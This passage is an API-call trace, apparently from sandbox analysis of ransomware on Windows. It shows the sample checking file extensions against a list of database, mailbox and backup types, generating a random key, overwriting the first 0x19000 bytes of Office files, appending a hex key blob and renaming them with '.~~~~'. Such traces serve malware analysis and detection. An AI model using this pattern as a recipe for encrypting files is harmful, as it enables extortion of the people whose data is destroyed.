	[0081.911] lstrlenW (lpString=".cmd") returned 4
	[0081.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".cmd") returned 0x0
	[0081.911] lstrlenW (lpString=".dll") returned 4
	[0081.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".dll") returned 0x0
	[0081.911] lstrlenW (lpString=".bat") returned 4
	[0081.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".bat") returned 0x0
	[0081.911] lstrlenW (lpString=".cpl") returned 4
	[0081.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".cpl") returned 0x0
	[0081.911] lstrlenW (lpString=".sys") returned 4
	[0081.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".sys") returned 0x0
	[0081.911] lstrlenW (lpString=".msc") returned 4
	[0081.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".msc") returned 0x0
	[0081.911] lstrlenW (lpString=".com") returned 4
	[0081.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".com") returned 0x0
	[0081.911] lstrlenW (lpString=".lnk") returned 4
	[0081.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".lnk") returned 0x0
	[0081.911] lstrlenW (lpString=".msp") returned 4
	[0081.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".msp") returned 0x0
	[0081.911] lstrlenW (lpString=".pif") returned 4
	[0081.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".pif") returned 0x0
	[0081.911] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0081.912] lstrlenW (lpString=".sqb") returned 4
	[0081.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".sqb") returned 0x0
	[0081.912] lstrlenW (lpString=".ost") returned 4
	[0081.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".ost") returned 0x0
	[0081.912] lstrlenW (lpString=".txt") returned 4
	[0081.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".txt") returned 0x0
	[0081.912] lstrlenW (lpString=".mdt") returned 4
	[0081.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".mdt") returned 0x0
	[0081.912] lstrlenW (lpString=".BDB") returned 4
	[0081.912] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".BDB") returned 0x0
	[0081.912] lstrlenW (lpString=".eql") returned 4
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".eql") returned 0x0
	[0081.913] lstrlenW (lpString=".DBF") returned 4
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".DBF") returned 0x0
	[0081.913] lstrlenW (lpString=".EQL") returned 4
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".EQL") returned 0x0
	[0081.913] lstrlenW (lpString=".FDB") returned 4
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".FDB") returned 0x0
	[0081.913] lstrlenW (lpString=".EDB") returned 4
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".EDB") returned 0x0
	[0081.913] lstrlenW (lpString=".DACPAC") returned 7
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.913] lstrlenW (lpString=".VHD") returned 4
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".VHD") returned 0x0
	[0081.913] lstrlenW (lpString=".DBV") returned 4
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".DBV") returned 0x0
	[0081.913] lstrlenW (lpString=".dacpac") returned 7
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".dacpac") returned 0x0
	[0081.913] lstrlenW (lpString=".sdf") returned 4
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".sdf") returned 0x0
	[0081.913] lstrlenW (lpString=".accdb") returned 6
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".accdb") returned 0x0
	[0081.913] lstrlenW (lpString=".DBX") returned 4
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".DBX") returned 0x0
	[0081.913] lstrlenW (lpString=".MDT") returned 4
	[0081.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".MDT") returned 0x0
	[0081.913] lstrlenW (lpString=".SQB") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".SQB") returned 0x0
	[0081.914] lstrlenW (lpString=".vhd") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".vhd") returned 0x0
	[0081.914] lstrlenW (lpString=".bac") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".bac") returned 0x0
	[0081.914] lstrlenW (lpString=".mdf") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".mdf") returned 0x0
	[0081.914] lstrlenW (lpString=".BAK") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".BAK") returned 0x0
	[0081.914] lstrlenW (lpString=".BAC") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".BAC") returned 0x0
	[0081.914] lstrlenW (lpString=".dbs") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".dbs") returned 0x0
	[0081.914] lstrlenW (lpString=".vhdx") returned 5
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".vhdx") returned 0x0
	[0081.914] lstrlenW (lpString=".NDF") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".NDF") returned 0x0
	[0081.914] lstrlenW (lpString=".dat") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".dat") returned 0x0
	[0081.914] lstrlenW (lpString=".DBS") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".DBS") returned 0x0
	[0081.914] lstrlenW (lpString=".CKP") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".CKP") returned 0x0
	[0081.914] lstrlenW (lpString=".edb") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".edb") returned 0x0
	[0081.914] lstrlenW (lpString=".PST") returned 4
	[0081.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".PST") returned 0x0
	[0081.914] lstrlenW (lpString=".dbf") returned 4
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".dbf") returned 0x0
	[0081.915] lstrlenW (lpString=".SQL") returned 4
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".SQL") returned 0x0
	[0081.915] lstrlenW (lpString=".pst") returned 4
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".pst") returned 0x0
	[0081.915] lstrlenW (lpString=".dbv") returned 4
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".dbv") returned 0x0
	[0081.915] lstrlenW (lpString=".SDF") returned 4
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".SDF") returned 0x0
	[0081.915] lstrlenW (lpString=".dtxs") returned 5
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".dtxs") returned 0x0
	[0081.915] lstrlenW (lpString=".db3") returned 4
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".db3") returned 0x0
	[0081.915] lstrlenW (lpString=".OST") returned 4
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".OST") returned 0x0
	[0081.915] lstrlenW (lpString=".dbx") returned 4
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".dbx") returned 0x0
	[0081.915] lstrlenW (lpString=".DB3") returned 4
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".DB3") returned 0x0
	[0081.915] lstrlenW (lpString=".DAT") returned 4
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".DAT") returned 0x0
	[0081.915] lstrlenW (lpString=".VHDX") returned 5
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".VHDX") returned 0x0
	[0081.915] lstrlenW (lpString=".ndf") returned 4
	[0081.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".ndf") returned 0x0
	[0081.915] lstrlenW (lpString=".DB") returned 3
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".DB") returned 0x0
	[0081.916] lstrlenW (lpString=".sql") returned 4
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".sql") returned 0x0
	[0081.916] lstrlenW (lpString=".MYD") returned 4
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".MYD") returned 0x0
	[0081.916] lstrlenW (lpString=".DBT") returned 4
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".DBT") returned 0x0
	[0081.916] lstrlenW (lpString=".ACCDB") returned 6
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.916] lstrlenW (lpString=".fdb") returned 4
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".fdb") returned 0x0
	[0081.916] lstrlenW (lpString=".bak") returned 4
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".bak") returned 0x0
	[0081.916] lstrlenW (lpString=".myd") returned 4
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".myd") returned 0x0
	[0081.916] lstrlenW (lpString=".DTXS") returned 5
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".DTXS") returned 0x0
	[0081.916] lstrlenW (lpString=".ckp") returned 4
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".ckp") returned 0x0
	[0081.916] lstrlenW (lpString=".dbt") returned 4
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".dbt") returned 0x0
	[0081.916] lstrlenW (lpString=".db") returned 3
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".db") returned 0x0
	[0081.916] lstrlenW (lpString=".TXT") returned 4
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".TXT") returned 0x0
	[0081.916] lstrlenW (lpString=".MDF") returned 4
	[0081.916] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".MDF") returned 0x0
	[0081.916] lstrlenW (lpString=".bdb") returned 4
	[0081.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".bdb") returned 0x0
	[0081.917] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0081.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.917] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0081.918] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.918] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0081.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b738
	[0081.918] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20190818481) returned 1
	[0081.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9aad7110, dwHighDateTime=0x1d60e1e)) 
	[0081.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0081.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0081.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0081.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe788
	[0081.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe788 | out: hHeap=0x300000) returned 1
	[0081.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0081.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0081.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0081.919] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0081.919] GetLastError () returned 0x0
	[0081.919] GetLastError () returned 0x0
	[0081.919] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0081.919] GetLastError () returned 0x0
	[0081.919] GetLastError () returned 0x0
	[0081.920] ReadFile (in: hFile=0x128, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.003] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.003] WriteFile (in: hFile=0x128, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.005] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.005] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.005] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.005] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.005] CloseHandle (hObject=0x128) returned 1
	[0082.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0082.005] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.~~~~")) returned 1
	[0082.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0082.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0082.006] GetLastError () returned 0x0
	[0082.006] RtlWakeConditionVariable () returned 0x365f70
	[0082.006] GetCurrentThreadId () returned 0x3a4
	[0082.006] GetCurrentThreadId () returned 0x3a4
	[0082.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc410 | out: hHeap=0x300000) returned 1
	[0082.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a33e0 | out: hHeap=0x300000) returned 1
	[0082.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc410
	[0082.007] lstrlenW (lpString=".scr") returned 4
	[0082.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".scr") returned 0x0
	[0082.007] lstrlenW (lpString=".cmd") returned 4
	[0082.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".cmd") returned 0x0
	[0082.007] lstrlenW (lpString=".dll") returned 4
	[0082.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".dll") returned 0x0
	[0082.007] lstrlenW (lpString=".bat") returned 4
	[0082.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".bat") returned 0x0
	[0082.007] lstrlenW (lpString=".cpl") returned 4
	[0082.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".cpl") returned 0x0
	[0082.007] lstrlenW (lpString=".sys") returned 4
	[0082.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".sys") returned 0x0
	[0082.007] lstrlenW (lpString=".msc") returned 4
	[0082.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".msc") returned 0x0
	[0082.007] lstrlenW (lpString=".com") returned 4
	[0082.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".com") returned 0x0
	[0082.007] lstrlenW (lpString=".lnk") returned 4
	[0082.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".lnk") returned 0x0
	[0082.007] lstrlenW (lpString=".msp") returned 4
	[0082.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".msp") returned 0x0
	[0082.008] lstrlenW (lpString=".pif") returned 4
	[0082.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch=".pif") returned 0x0
	[0082.008] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", lpSrch="msp\r\n.pif") returned 0x0
	[0082.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0082.126] lstrlenW (lpString=".sqb") returned 4
